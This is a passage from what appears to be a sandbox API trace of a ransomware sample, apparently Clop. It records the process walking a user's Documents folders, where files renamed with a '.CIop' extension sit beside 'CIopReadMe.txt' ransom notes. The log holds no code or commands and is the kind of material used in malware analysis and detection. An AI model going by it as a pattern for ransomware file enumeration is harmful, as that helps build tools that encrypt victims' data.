Notebooks", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\" [0138.467] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\" [0138.467] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*" [0138.468] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e9f8 [0138.468] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="OneNote Notebooks" [0138.468] lstrcpyW (in: lpString1=0x2dc7014, lpString2="OneNote Notebooks" | out: lpString1="OneNote Notebooks") returned="OneNote Notebooks" [0138.468] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.468] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.468] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0138.468] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0138.468] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0138.468] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" [0138.468] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*" [0138.468] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e9f8 [0138.468] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="OneNote Notebooks" [0138.468] lstrcpyW (in: lpString1=0x2dc7014, lpString2="OneNote Notebooks" | out: lpString1="OneNote Notebooks") returned="OneNote Notebooks" [0138.468] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.468] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0138.468] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.468] lstrcmpW (lpString1="My Notebook", lpString2="..") returned 1 [0138.468] lstrcmpW (lpString1="My Notebook", lpString2=".") returned 1 [0138.468] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" [0138.468] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\" [0138.468] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\", lpString2="My Notebook" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook" [0138.468] SetErrorMode (uMode=0x1) returned 0x1 [0138.468] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook" [0138.468] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\" [0138.468] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\" [0138.469] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*" [0138.469] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67ddb8 [0138.469] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="My Notebook" [0138.469] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="My Notebook" | out: lpString1="My Notebook") returned="My Notebook" [0138.469] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0138.469] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0138.469] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0138.469] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0138.469] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.469] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0138.469] lstrcmpW (lpString1="Open Notebook.onetoc2.CIop", lpString2="..") returned 1 [0138.469] lstrcmpW (lpString1="Open Notebook.onetoc2.CIop", lpString2=".") returned 1 [0138.469] lstrlenW (lpString=".CIop") returned 5 [0138.469] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0138.469] lstrcmpW (lpString1="Quick Notes.one.CIop", lpString2="..") returned 1 [0138.469] lstrcmpW (lpString1="Quick Notes.one.CIop", lpString2=".") returned 1 [0138.469] lstrlenW (lpString=".CIop") returned 5 [0138.469] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0138.469] FindClose (in: hFindFile=0x67ddb8 | out: hFindFile=0x67ddb8) returned 1 [0138.469] FindClose (in: hFindFile=0x67ddb8 | out: hFindFile=0x67ddb8) returned 0 [0138.469] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook" [0138.469] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*" [0138.469] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67db78 [0138.469] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="My Notebook" [0138.469] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="My Notebook" | out: lpString1="My Notebook") returned="My Notebook" [0138.470] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0138.470] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0138.470] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0138.470] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0138.470] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0138.470] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0138.470] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 1 [0138.470] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 0 [0138.470] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0138.470] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0138.470] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0138.470] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.470] lstrcmpW (lpString1="Outlook Files", lpString2="..") returned 1 [0138.470] lstrcmpW (lpString1="Outlook Files", lpString2=".") returned 1 [0138.470] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0138.470] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0138.470] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="Outlook Files" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" [0138.470] SetErrorMode (uMode=0x1) returned 0x1 [0138.471] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" [0138.471] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\" [0138.471] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\" [0138.471] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*" [0138.471] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e9f8 [0138.471] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") returned="Outlook Files" [0138.471] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Outlook Files" | out: lpString1="Outlook Files") returned="Outlook Files" [0138.471] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.471] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.471] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0138.471] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0138.471] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.471] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.471] lstrcmpW (lpString1="lcfkj@kiekc.df.pst.CIop", lpString2="..") returned 1 [0138.471] lstrcmpW (lpString1="lcfkj@kiekc.df.pst.CIop", lpString2=".") returned 1 [0138.471] lstrlenW (lpString=".CIop") returned 5 [0138.471] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0138.471] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0138.471] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0138.471] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" [0138.471] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*" [0138.471] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e9f8 [0138.472] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") returned="Outlook Files" [0138.472] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Outlook Files" | out: lpString1="Outlook Files") returned="Outlook Files" [0138.472] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.472] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0138.472] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.472] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.472] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0138.472] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0138.472] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0138.472] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.472] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.472] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.472] lstrcmpW (lpString1="WZsO9vKmM1PXfg", lpString2="..") returned 1 [0138.472] lstrcmpW (lpString1="WZsO9vKmM1PXfg", lpString2=".") returned 1 [0138.472] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0138.472] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0138.472] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="WZsO9vKmM1PXfg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" [0138.472] SetErrorMode (uMode=0x1) returned 0x1 [0138.472] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" [0138.472] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\" [0138.472] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\" [0138.472] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*" [0138.473] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e9f8 [0138.473] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="WZsO9vKmM1PXfg" [0138.473] lstrcpyW (in: lpString1=0x2dc7014, lpString2="WZsO9vKmM1PXfg" | out: lpString1="WZsO9vKmM1PXfg") returned="WZsO9vKmM1PXfg" [0138.473] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.473] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.473] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0138.473] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0138.473] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.473] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.473] lstrcmpW (lpString1="uhL6PZJxrZwaAeTB.ods.CIop", lpString2="..") returned 1 [0138.473] lstrcmpW (lpString1="uhL6PZJxrZwaAeTB.ods.CIop", lpString2=".") returned 1 [0138.473] lstrlenW (lpString=".CIop") returned 5 [0138.473] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.473] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0138.473] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0138.473] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0138.473] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" [0138.473] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*" [0138.473] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e9f8 [0138.473] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="WZsO9vKmM1PXfg" [0138.473] lstrcpyW (in: lpString1=0x2dc7014, lpString2="WZsO9vKmM1PXfg" | out: lpString1="WZsO9vKmM1PXfg") returned="WZsO9vKmM1PXfg" [0138.473] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.474] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0138.474] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.474] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.474] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.474] lstrcmpW (lpString1="us_5U4ni7qwInOUE", lpString2="..") returned 1 [0138.474] lstrcmpW (lpString1="us_5U4ni7qwInOUE", lpString2=".") returned 1 [0138.474] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" [0138.474] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\" [0138.474] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\", lpString2="us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0138.474] SetErrorMode (uMode=0x1) returned 0x1 [0138.474] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0138.474] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0138.474] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0138.474] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*" [0138.474] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67dbf8 [0138.474] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="us_5U4ni7qwInOUE" [0138.474] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="us_5U4ni7qwInOUE" | out: lpString1="us_5U4ni7qwInOUE") returned="us_5U4ni7qwInOUE" [0138.474] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0138.474] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0138.474] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0138.474] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0138.474] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0138.474] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0138.474] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0138.474] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 1 [0138.474] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 0 [0138.475] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0138.475] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*" [0138.475] FindFirstFileW (in: 